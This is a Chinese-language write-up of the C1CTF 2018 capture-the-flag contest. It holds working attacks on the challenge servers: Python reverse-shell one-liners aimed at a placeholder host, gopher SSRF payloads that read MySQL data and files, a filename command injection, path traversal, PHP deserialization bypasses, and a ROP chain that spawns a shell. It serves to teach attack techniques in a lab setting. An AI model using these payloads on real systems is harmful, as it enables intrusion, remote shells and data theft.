C1CTF 2018 Writeup

发表于 2018 年 12 月 12 日

Misc

0x01 签到

base64 解码一下就行, 不懂的同学可以看一下这个

1$ base64 -d                                     
2QzFDVEZ7dzNsZWMwbWVfdE9fQzFDVEZ9
3C1CTF{w3lec0me_tO_C1CTF}

0x02 find the flag~

这道题我应该是非预期了 233 我用的是

1$ scp -P 8999 -r ssh_bash@212.64.85.131:/home/ssh_bash/ .

直接把整个文件夹给下下来了, 正确做法应该是尝试几个常用命令可以发现有 python, 然后直接用 os.system 就 OK 了

1>>> import os
2>>> os.system('/bin/ls /home/ssh_bash/')
3bin  c5836008c1649301e29351a55db8f65c
40
5>>> os.system('/bin/cat c5836008c1649301e29351a55db8f65c')
6C1CTF{Bash_l1mit3d}
70

0x03 cats and dogs

脑洞一下可以想到出题人把二维码中的黑的像素换成狗的图片, 把白的像素换成喵咪的图片. binwalk 出来的 mysql 文件应该是意外…

图片大小 17400x17400, 可以靠神经网络来识别内容, 当然你也可以靠人工来识别, 如果你有足够耐心的话… 

先靠 PIL 把图像给切割了, 如果因为图像太大, 遇到 DecompressionBombError, 可以把 PIL 源码改成 pass 就可以了, 报错是不可能报错的, 这辈子都不可能报错的

 1from PIL import Image
 2
 3img = Image.open('cat&dog.jpg')
 4#region = (0, 0, 200, 200)
 5# (x0,y0,x1,y1)
 6num = 0
 7for y in range(87):
 8    for x in range(87):
 9        tmp = (0 + x * 200, 0 + y * 200, 200 + x * 200, 200 + y * 200)
10        part = img.crop(tmp)
11        part.save(f'pics/{num}.png')
12        num += 1

切割完成后考虑的就是识别的问题了. HINT 给了数据集, 可以在 Github 上找现成的, 中间试了好几个模型, 最后找到这个, 是 google 之类拿来发论文的模型, 准确率不知道比个人训练的好到哪里去了. 我自己用的 linux, 装起环境来还挺方便, 这里一键装个 Caffe 就行了. 然后改一下示例代码. 用了 SqeezeNet_v1.1 的模型, 然后开跑就 ok

 1import os
 2import sys
 3import shutil
 4import numpy as np
 5
 6import usefull_utils
 7
 8#Iterate over all data and get prediction errors
 9
10os.environ['GLOG_minloglevel'] = '2' 
11
12import caffe
13
14'''if len(sys.argv) != 6:
15    print "Usage: python get_predition_errors.py deploy.prototxt model.caffemodel mean.npy <cat_data_folder> <dog_data_folder>"
16    sys.exit()'''
17    
18DEPLOY_PROTOTXT = 'kaggle-dogs-vs-cats-solution/demo/SqeezeNet_v1.1/deploy.prototxt' #deploy.prototxt
19CAFFE_MODEL = 'kaggle-dogs-vs-cats-solution/demo/SqeezeNet_v1.1/model.caffemodel'#model.caffemodel
20MEAN_FILE = 'kaggle-dogs-vs-cats-solution/demo/SqeezeNet_v1.1/mean.npy' #mean.npy
21MODEL_POSTFIX= CAFFE_MODEL.split(os.sep)[-2] # not safe way
22'''CAT_DATA_FOLDER= sys.argv[4]
23DOG_DATA_FOLDER= sys.argv[5]'''
24
25print("MODEL_POSTFIX", MODEL_POSTFIX)
26
27#caffe.set_mode_gpu()
28net = caffe.Classifier(DEPLOY_PROTOTXT, CAFFE_MODEL,
29                       mean=np.load(MEAN_FILE).mean(1).mean(1),
30                       channel_swap=(2,1,0),
31                       raw_scale=255,
32                       image_dims=(256, 256))
33
34from PIL import Image
35img = Image.new("L", (87, 87), 255)
36col = 0
37row = 0
38for i in range(7569):
39    prediction = net.predict([caffe.io.load_image('pics/' + str(i) + '.png')])
40    print(i, prediction[0].argmax())
41    if (prediction[0].argmax() == 1):
42        img.putpixel((col, row), 0)
43    col += 1
44    if col == 87:
45        img.show()
46        row += 1
47        col = 0
48img.save('out.png')

然后你就可以得到这个~

扫一下得到 C1CTF{Do_u_lik3_An1mals?}

0x04 easy_crypto

1 和 2 比较相似, 就一起说了, 两题都是 RC4, 因为是对称加密, 所以对于第一题 easy_crypto1 只要翻译过来就行了, 我就在网上找了个现成的

 1def crypt(data, key):
 2    """RC4 algorithm"""
 3    x = 0
 4    box = [i for i in range(256)]
 5    for i in range(256):
 6        x = (x + box[i] + ord(key[i % len(key)])) % 256
 7        box[i], box[x] = box[x], box[i]
 8    x = y = 0
 9    out = []
10    for char in data:
11        x = (x + 1) % 256
12        y = (y + box[x]) % 256
13        box[x], box[y] = box[y], box[x]
14        out.append(chr(char ^ box[(box[x] + box[y]%256) % 256]))
15
16    return ''.join(out)
17
18data = open('easy_enc.txt', 'rb').read()
19key = 'hello world'
20data = data.replace("\r".encode(), "".encode())
21data = crypt(data, key)
22print(data)
23# C1ctf{5ca4a10ca6de1639674a822cc93c81fb}

注意 data.replace("\r".encode(), “".encode()), 出题人用的 windows 保存的时候忘了用 wb 模式了, 所以把 CRLF 给一起保存进去了, 所以 \r 会乱码, 把 \r 替换掉就 ok

第二题, 出题人把 key 加密了一下, 我们取一段来看看 _____*((__//__+___+______-____%____)** 可以猜出来 _ 的数量对应数字, 这整个 key 其实是个表达式. 写个脚本解密一下

 1import base64
 2key = "_____*((__//__+___+______-____%____)**((___%(___-_))+________+(___%___+_____+_______%__+______-(______//(_____%___)))))+__*(((________/__)+___%__+_______-(________//____))**(_*(_____+_____)+_______+_________%___))+________*(((_________//__+________%__)+(_______-_))**((___+_______)+_________-(______//__)))+_______*((___+_________-(______//___-_______%__%_))**(_____+_____+_____))+__*(__+_________-(___//___-_________%_____%__))**(_________-____+_______)+(___+_______)**(________%___%__+_____+______)+(_____-__)*((____//____-_____%____%_)+_________)**(_____-(_______//_______+_________%___)+______)+(_____+(_________%_______)\*__+_)\*\*_________+_______*(((_________%_______)\*__+_______-(________//________))\*\*_______)+(________/__)*(((____-_+_______)*(______+____))\*\*___)+___\*((__+_________-_)\*\*_____)+___\*(((___+_______-______/___+__-_________%_____%__)*(___-_+________/__+_________%_____))\*\*__)+(_//_)\*(((________%___%__+_____+_____)%______)+_______-_)\*\*___+_____\*((______/(_____%___))+_______)*((_________%_______)*__+_____+_)+___//___+_________+_________/___"
 3for i in range(100, 0, -1):
 4    key = key.replace("_" * i, str(i))
 5print(key)
 6key = int(eval(key))
 7print(key)
 8key = hex(key)
 9print(base64.b16decode(key[2:].upper()))
10
11$ python2 crypto1/rep.py # 注意这里得用 python2, 3的话会自动转浮点, 精度会丢失
125((2//2+3+6-4%4)((3%(3-1))+8+(3%3+5+7%2+6-(6//(5%3)))))+2(((8/2)+3%2+7-(8//4))(1(5+5)+7+9%3))+8(((9//2+8%2)+(7-1))((3+7)+9-(6//2)))+7((3+9-(6//3-7%2%1))(5+5+5))+2(2+9-(3//3-9%5%2))(9-4+7)+(3+7)(8%3%2+5+6)+(5-2)((4//4-5%4%1)+9)(5-(7//7+9%3)+6)+(5+(9%7)2+1)9+7(((9%7)2+7-(8//8))7)+(8/2)(((4-1+7)(6+4))3)+3((2+9-1)5)+3(((3+7-6/3+2-9%5%2)(3-1+8/2+9%5))2)+(1//1)(((8%3%2+5+5)%6)+7-1)*3+5((6/(5%3))+7)((9%7)2+5+1)+3//3+9+9/3
135287002131074331513
14I_4m-k3y

I_4m-k3y 就是 key 了, 然后又找到一个现成的脚本, 解密一下

 1def crypt(data, key):
 2    """RC4 algorithm"""
 3    x = 0
 4    box = range(256)
 5    for i in range(256):
 6        x = (x + box[i] + ord(key[i % len(key)])) % 256
 7        box[i], box[x] = box[x], box[i]
 8    x = y = 0
 9    out = []
10    for char in data:
11        x = (x + 1) % 256
12        y = (y + box[x]) % 256
13        box[x], box[y] = box[y], box[x]
14        out.append(chr(ord(char) ^ box[(box[x] + box[y]) % 256]))
15
16    return ''.join(out)
17
18def tencode(data, key, encode=base64.b64encode, salt_length=16):
19    """RC4 encryption with random salt and final encoding"""
20    salt = ''
21    for n in range(salt_length):
22        salt += chr(random.randrange(256))
23    data = salt + crypt(data, sha1(key + salt).digest())
24    if encode:
25        data = encode(data)
26    return data
27
28def tdecode(data, key, decode=base64.b64decode, salt_length=16):
29    """RC4 decryption of encoded data"""
30    if decode:
31        data = decode(data)
32    salt = data[:salt_length]
33    return crypt(data[salt_length:], sha1(key + salt).digest())
34
35print tdecode(strCipher, key)
36# C1ctf{5f601e8cc1bde1f1a54e336158ba766d}

Web

0x01 resize your image

vulhub 原题, payload 改一下

python -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('Your IP',Your Port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/sh','-i']);"

1$ nc -lvvp 19132
2Listening on [0.0.0.0] (family 0, port 19132)
3Connection from 212.64.85.131 40172 received!
4/bin/sh: 0: can't access tty; job control turned off
5# ls
6app.py
7flag
8# cat flag
9C1CTF{hello_world}

0x02 web签到

改一下 cookie 就行, 我用的是 EditThisCookie

0x03 php是世界上最好的语言

在 http://212.64.85.131/robots.txt 可以找到提示, Disallow: /flag.zip, 下下来就可以得到源码, 接下来就是源码审计

  1. ($a == $b) + (md5($a) != sha1($b)) 这个很好绕, 传两个值不一样的数组就可以绕过, 比如 a[1]=1&b[1]=2. 原理是 md5 和 sha1 对 数组会返回 NULL
1php > var_dump(md5(array()));
2PHP Warning:  md5() expects parameter 1 to be string, array given in php shell code on line 1
3
4Warning: md5() expects parameter 1 to be string, array given in php shell code on line 1
5NULL

2.$token['user'] == "????????" && $token['pass'] == "????????" 我竟然以为真的要想办法绕过… 后来试了下居然真的只要让 user=???????? 就行了233

3.$flag->middle === $flag->left && $flag->middle === $flag->right 这个绕过第一感觉是不可能, 除非能有像 C++ 那样的引用, 然后百度了一下… 居然真的有这种骚东西 还真的可以序列化 233

如果反序列化这方面有问题的话可以百度一下对应的教程

整合一下得到 payload curl "http://212.64.85.131/?mode=begin&a[1]=1&b[1]=2" -d 'token=a:2:{s:4:"user";s:8:"????????";s:4:"pass";s:8:"????????";}&flag=O:9:"last_task":3:{s:4:"left";N;s:6:"middle";R:2;s:5:"right";R:2;}'

得到 this is your flag C1ctf{Php_1s_best_language_in_the_world}

0x04 今年还有小姐姐

fuzz 一下 file:// 被过滤了, 然后看了下 HINT. 发现在 info.php 左下角非常猥琐的藏着 sql 语句…

基本上可以确定是 gopher + ssrf 了

让他访问 http://127.0.0.1:3306 也确实可以得到 mysql 的 banner

具体原理可以看这里, 简单来说 gopher 协议可以将任意内容通过 tcp 发送, 而 mysql 在空密码时握手包的内容是固定的, 我们就可以通过 gopher 来读取数据库中的内容

这里可以通过在本地搭一个空密码的 root 账号的 mysql 加上 wireshark 来重放一遍客户端发送的数据, 得到服务器上数据库的应答

这里可以用 -e 选项来直接执行命令. 通过提示里的表结构可以构造如下语句

1mysql -u root -e "SELECT path FROM ctf.flag" -h127.0.0.1

然后在 wireshark 里面导出以后用 urlencode 一下加在 gopher://127.0.0.1:3306/A 后面(注意A留着, 不能删), 这里我的 payload 是 

gopher://127.0.0.1:3306/A%A4%00%00%01%85%A2%3F%00%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00root%00%00mysql_native_password%00g%03_os%05Linux%0C_client_name%08libmysql%04_pid%0520083%0F_client_version%0710.1.37%09_platform%06x86_64%0Cprogram_name%05mysql%1A%00%00%00%03SELECT%20path%20FROM%20ctf.flag%01%00%00%00%01

/var/lib/mysql-files/flag.txt 即是路径, 再通过 load_file 来读取它

1mysql -u root -e "SELECT load_file('/var/lib/mysql-files/flag.txt')" -h127.0.0.1

得到 payload 

gopher://127.0.0.1:3306/A%A4%00%00%01%85%A2%3F%00%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00root%00%00mysql_native_password%00g%03_os%05Linux%0C_client_name%08libmysql%04_pid%0520924%0F_client_version%0710.1.37%09_platform%06x86_64%0Cprogram_name%05mysql2%00%00%00%03SELECT%20load_file%28%27/var/lib/mysql-files/flag.txt%27%29%01%00%00%00%01

然后你会得到… 

太真实了, 再 fuzz 一下, 发现过滤了 file 和 - 字符, 直接 urlencode 一下就可以 bypass, 得到新的 payload 

gopher://127.0.0.1:3306/A%A4%00%00%01%85%A2%3F%00%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00root%00%00mysql_native_password%00g%03_os%05Linux%0C_client_name%08libmysql%04_pid%0520924%0F_client_version%0710.1.37%09_platform%06x86_64%0Cprogram_name%05mysql2%00%00%00%03SELECT%20load_%66ile%28%27/var/lib/mysql%2dfiles/flag.txt%27%29%01%00%00%00%01

得到 flag{gopher_make_mysql_happy}

0x05 eeeee

考察点: Django目录穿越,命令执行bypass

入口点: http://212.64.89.186/booksystem/static/
访问之后是500,在后面输入内容显示文件不存在, 所以这里可以判断出是存在文件读取的:
http://212.64.89.186/booksystem/static/..%2f..%2fpass.txt
后台逻辑为:

 1def do_GET(request,filename):
 2    full_path = os.path.join('static', filename)
 3    #print(full_path)
 4    if not os.path.exists(full_path):
 5        return HttpResponseNotFound('<h1>file not found<h1>')
 6    else:
 7        if(filename[-3:]=="css"):
 8            response = HttpResponse(read_file(full_path))
 9            response['Content-Type'] = 'text/css'
10            response['Content-Length'] = os.path.getsize(full_path)
11            #response['Content-Disposition'] = 'attachment; filename=%s' % filename
12            response['Accept-Ranges'] = 'bytes'
13            return response
14        elif(filename[-3:]=="svg"):
15            response = HttpResponse(read_file(full_path))
16            response['Content-Type'] = 'image/svg+xml'
17            response['Content-Length'] = os.path.getsize(full_path)
18            #response['Content-Disposition'] = 'attachment; filename=%s' % filename
19            response['Accept-Ranges'] = 'bytes'
20            return response
21        else:
22            response = HttpResponse(read_file(full_path))
23            response['Content-Type'] = 'text/html'
24            response['Content-Length'] = os.path.getsize(full_path)
25            #response['Content-Disposition'] = 'attachment; filename=%s' % filename
26            response['Accept-Ranges'] = 'bytes'
27            return response   
28def read_file(filename):
29    try:
30        with open(filename, 'rb') as f:
31            content = f.read()
32            yield content
33        f.close()
34    except Exception as e:
35        print(e.message)
36        print('read error')

可以读取到admin的用户名和密码,然后进行登录: admin:this_is_admin_password

使用admin登录之后可以看到上传文件的地方,因为是python写的, 所以不太确定能不能上传webshell, 然后使用之前的任意文件读取读源码, 看实现逻辑:
http://212.64.89.186/booksystem/static/..%2fbooksystem/views.py
实现逻辑:

 1def Do_upload(request): #文件上传, 格式转换
 2    black_list = ['`',';','&','|',"PS",'>',"<"]
 3    #return HttpResponse(os.path)
 4    if request.method == 'POST':
 5        ret = {'status': False, 'data': None, 'error': None}
 6        user = request.POST.get('user')
 7        img = request.FILES.get('img')
 8        for i in black_list:
 9            if i in img.name:
10                return HttpResponse("你是魔鬼吗?")
11        f = open(os.path.join('upfile', img.name), 'wb')
12        #return HttpResponse(os.path)
13        for chunk in img.chunks(chunk_size=1024):
14            if b"%!PS" in chunk:
15                 return HttpResponse("你是个大魔鬼!")
16            f.write(chunk)
17        f.close()
18        ret['status'] = True
19        ret['data'] = os.path.join('upfile', 'smaller_'+img.name)
20        command = "convert -resize 200x100 \`pwd\`/upfile/"+img.name+"  \`pwd\`/upfile/smaller_"+img.name+";rm \`pwd\`/upfile/"+img.name
21        #os.system("echo "+command+"> /tmp/123")
22        os.system(command)
23        return HttpResponse(json.dumps(ret))
24        # except Exception as e:
25        #     ret['error'] = e
26        # finally:
27        #     f.close()
28        #     return HttpResponse(json.dumps(ret))
29    else:
30        return HttpResponse('')

本意是利用imagemagic的洞getshell的, 但是我太懒了, 没有换服务器里面的版本, 所以就只能用文件名导致的命令注入了, 这里有个坑, nginx会把 “/” 后面的作为文件名解析, 所以需要绕过 “/”, exp:

1import requests
2
3files = {
4    "img": ("asd\npython -c \"import socket,subprocess,os\ns=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\ns.connect(('Your_ip',19132))\nos.dup2(s.fileno(),0)\nos.dup2(s.fileno(),1)\nos.dup2(s.fileno(),2)\np=subprocess.call([chr(47)+'bin'+chr(47)+'sh','-i'])\"", "asd")
5}
6
7res = requests.post("http://212.64.89.186/upload/", files=files)
8print(res.text)
 1$ nc -lvvp 19132
 2Listening on [0.0.0.0] (family 0, port 19132)
 3Connection from 212.64.89.186 38538 received!
 4/bin/sh: 0: can't access tty; job control turned off
 5$ ls
 6FlightTicket
 7a.txt
 8aaab.txt
 9article.db
10booksystem
11flightdb.sqlite3
12index.html
13index.html.1
14index.html.2
15manage.py
16nohup.out
17pass.txt
18requirements.txt
19static
20templates
21testdb.py
22upfile
23$ cat ~/Flaaa44444AAAAAAGGGGGG
24flag{Django_is_Very_Interesting}

0x06 baby exec

代码如下:

 1<?php
 2ini_set("display_errors", 0);
 3error_reporting(E_ALL ^ E_NOTICE);
 4error_reporting(E_ALL ^ E_WARNING);
 5include('config.php');
 6$v1 = ['admin','test'];
 7$v2 = $_POST['v2'];
 8$number = 1;
 9$v5=0;
10if($v2 === $v1 & $v2[0] != 'admin'){//There you can execute the command
11    
12    $v3 = $_GET['v3'];
13    $v4 = $_GET;
14    foreach($v4 as $key => $cmd){
15        if($key == $system_function){
16            $v5 = 1;
17        }
18if($v5 && strlen($v3)>11 && $number == 3){
19            $system_function($cmd,$key); 
20        }
21        $number++;
22    }
23}else{    
24    echo "sorry";
25}
26highlight_file('hhhhhhhhhhhhhhhh_exec.php');

一步一步看代码, 一眼看是不可能进行利用的, 在 if($v2 === $v1 & $v2[0] != 'admin') 常理是不可能绕过的, 但是看一下php版本, 也是前两天看youtube看到了这一个技巧, 在php5.5.9中会产生int溢出, 2^32 = 4294967296 会解析成0, 这样就可以绕过这一步.
POST输入v4, GET输入v3, 并且v3要比11个字符要长.

1if($key == $system_function){
2    $v5 = 1;
3}

双等于号用弱类型就可以绕过.
比如:

1<?php
2$a = "asdsadsad";
3$b = 0;
4echo $a==$b;

这时就会输出1.
v5,$v3就已经满足了, 只需要将命令作为第三组就可以执行命令, 最后payload:
curl "http://212.64.89.186:9992/hhhhhhhhhhhhhhhh_exec.php/hhhhhhhhhhhhhhhh_exec.php?v3=aaaaaaaaaaaaaaaaaaaaa&0=asd&system=cat%20index.php" -d "v2[4294967296]=admin&v2[1]=test"

得到 flag{PhP_1S_Best_Lang}

Reserve

0x01 iOS13

改一下版本号安装到 iPhone 上, 不过, 我没有 iOS 设备啊, 那就….

把整个 ipa 拖入 ida 内,最后发现 iOS13 内有 C1CTF&#123;%s&#125;, 而 iOS13dyn 内有剩下的 flag

可以看到 0 是参数, 所以 %d 应该用 0 替代.

0x02 Captcha

如果当成 Misc 来做的话可以直接用CE修改, 改成只需要输入 1 个验证码就可以结束

0x03 Adjacent

注意反编译后的这一条语句:

1if (((unsigned __int8)s[i + 1] ^ (unsigned __int8)s[i]) != *(&v5 + i))

实际上就是把字符串中相邻两个字节进行异或, 前面的结果进行比较, 我们知道flag开头是 C1CTF{xxxx}

就算不知道是 C 开头, 也知道是 } 结尾

1unsigned char flag2[31] = { 0x72,0x72,0x17,0x12,0x3d,0x23,0x68,0x42,0x2d,0x1e,0x25,0x0e,0x0b,0x22,0x70,0x5d,0x1a,0x2b,0x3c,0x2b,0x29,0x13,0x2d,0x66,0x0f,0x62,0x2d,0x2a,0x29,0x13,0x14 };
2unsigned char flag[33] = { 'C' };
3for (int i = 1; i < 32; i++) {
4    flag[i] = flag2[i-1] ^ flag[i - 1];
5}
6//"C1CTF{X0r_AdjaC3nt_cHar_96TySzi}"	

0x04 encoding

这道题可以爆破, 爆破的方法就不在此说了.

第一部分是异或

第二步可以从 sub_7FA 得到这样的置换表:

nopqrstuvwxyzabcdefghijklm0123456789ABCDEFGHIJKL+/MNOPQRSTUVWXYZ

然后

 1_BYTE \*__fastcall sub_A84(__int64 a1, _BYTE \*a2)
 2{
 3  _BYTE *result; // rax
 4  _BYTE *v3; // [rsp+0h] [rbp-20h]
 5  char v4; // [rsp+19h] [rbp-7h]
 6  unsigned __int8 v5; // [rsp+1Ah] [rbp-6h]
 7  unsigned __int8 i; // [rsp+1Bh] [rbp-5h]
 8  int v7; // [rsp+1Ch] [rbp-4h]
 9
10  v3 = a2;
11  v4 = 0;
12  v5 = 0;
13  v7 = 0;
14  while ( *(_BYTE *)(v7 + a1) )
15  {
16    \*v3++ = sub_7FA((unsigned __int8)((int)\*(unsigned __int8 *)(v7 + a1) >> (v5 + 2)) | v4); //舍弃 v7中的v5+2位
17    v5 = (v5 + 2) & 7;   // mod 8 剩余位数
18    v4 = 0;
19    for ( i = 0; i < v5; ++i )
20      v4 |= ((1 << i) & *(unsigned __int8 *)(v7 + a1)) << (6 - v5);   //取出v7中剩余的位数, v5位
21    if ( v5 <= 5u ) // 不足五位向前取一位
22      ++v7;
23  }
24  result = v3;
25  *v3 = 0;
26  return result;
27}

看出这是base64, 反向编码

 1#!/usr/bin/env python3
 2
 3t = 'nopqrstuvwxyzabcdefghijklm0123456789ABCDEFGHIJKL+/MNOPQRSTUVWXYZ'
 4s = 'KFjUWyZ592NvPU1CCa5xAIRVAa4CTEN6+bjwWlqm'
 5a = ''
 6flag = ''
 7for ch in s:
 8    i = t.find(ch)
 9    a += '{0:0>6b}'.format(i)
10
11for i in range(0,len(a),8):
12    if i/8 % 2 == 0:
13        flag += chr(int(a[i:i+8],base=2) ^ 0xF9 )
14    else:
15        flag += chr(int(a[i:i+8],base=2) ^ 0xA4 )
16
17print(flag)
18#C1CTF{th1s_Bas364_is_BuD9ApUy}

0x05 Activate

UTF16编码:

激活码无效 -> C0 6F 3B 6D 01 78 E0 65 48 65

找到激活码无效这一字符串前面的分支, 下个断点

走红线 “激活完成”

Pwn

0x01 Chekin

这其实算密码学题目吧….

 1#!/usr/bin/env python3
 2import socket
 3
 4sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 5sock.connect(("your ip address",9990))
 6
 7payload = b'2'+b'\n'
 8sock.sendall(payload)
 9payload = b'10'+b'\n'
10sock.sendall(payload)
11payload = b'3544388184383369539\n'
12sock.sendall(payload)
13print(sock.recv(100))
14
15payload = b'2'+b'\n'
16sock.sendall(payload)
17payload = b'11'+b'\n'
18sock.sendall(payload)
19payload = b'56\n'
20sock.sendall(payload)
21print(sock.recv(100))
22
23payload = b'0'+b'\n'
24sock.sendall(payload)
25print(sock.recv(100))
26print(sock.recv(100))
27print(sock.recv(100))

0x02 Windows

主要是调用 00402360 处的后门

 1#!/usr/bin/env python3
 2
 3import socket  
 4import time
 5
 6      
 7def pwn():  
 8    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
 9    s.connect(("your ip address",9990))  
10    time.sleep(0.5)
11    print(s.recv(1024))
12    # 选择写入内容
13    payload = b'1'
14    # 向服务器发送数据  
15    s.sendall((payload + b'\n'))
16    time.sleep(0.5)
17    print(s.recv(2048))
18    # 写入字符串%p
19    payload = b'%p'
20    
21    s.sendall((payload + b'\n'))
22    time.sleep(0.5)
23    print(s.recv(1024))
24    # 读取地址%p
25    payload = b'2'
26    s.sendall((payload + b'\n'))
27    time.sleep(0.5)
28    #'Here is your string:\r\n00D72230'
29    r = s.recv(1024).decode('gbk')
30    print(r)
31    # 选择写入
32    payload = b'1'
33    s.sendall((payload + b'\n'))
34    time.sleep(0.5)
35    
36    print(s.recv(1024).decode('gbk'))
37    # 写入Payload 覆盖返回值, 获取shell
38    payload = b'A'*20+(int(r[-8:],base=16)+176).to_bytes(4,'little')
39    s.sendall((payload + b'\n'))
40    time.sleep(0.5)
41    print(s.recv(1024).decode('gbk'))
42
43
44    payload = b'type flag.txt'
45    s.sendall((payload + b'\n'))
46    time.sleep(0.5)
47    print(s.recv(2048).decode('gbk'))
48
49    s.close()
50
51
52pwn()

0x03 upgrade

直接看脚本的注释或者看线下的解释吧…

 1#!/usr/bin/env python
 2from pwn import *
 3
 4p = process("./pwn2")
 5
 6
 7p.send('1\n')
 8print(p.recv())
 9p.send('15\n')
10#print(p.recv())
11t = p.recv()
12print(t)
13libc_main_ret = [int(s) for s in t.split() if s.isdigit()][0]
14print(libc_main_ret)
15
16libc_main_base = libc_main_ret - 0x021B97
17
18libc_pop_rdi = libc_main_base + 0x02155f 
19libc_pop_rdx_rsi = libc_main_base + 0x01306d9
20
21libc_bin_sh = libc_main_base + 0x01b3e9a
22libc_int_80 = libc_main_base + 0x01b3e9a
23libc_execve =  libc_main_base + 0xE4E30
24
25
26#0x000000000002155f : pop rdi ; ret A
27#0x0000000000023e6a : pop rsi ; ret B
28#0x0000000000001b96 : pop rdx ; ret C
29#0x000000000003eb0b : pop rcx ; ret D
30#0x00000000001306d9 : pop rdx ; pop rsi ; ret
31
32p.send('2\n15\n')
33p.send(str(libc_pop_rdi)+'\n')
34print(p.recv())
35
36p.send('2\n16\n')
37p.send(str(libc_bin_sh)+'\n')
38print(p.recv())
39
40p.send('2\n17\n')
41p.send(str(libc_pop_rdx_rsi)+'\n')
42print(p.recv())
43
44p.send('2\n18\n')
45p.send('0\n')
46print(p.recv())
47
48p.send('2\n19\n')
49p.send('0\n')
50print(p.recv())
51
52p.send('2\n20\n')
53p.send(str(libc_execve)+'\n')
54print(p.recv())
55
56p.send('0\n')
57print(p.recv())
58
59p.interactive()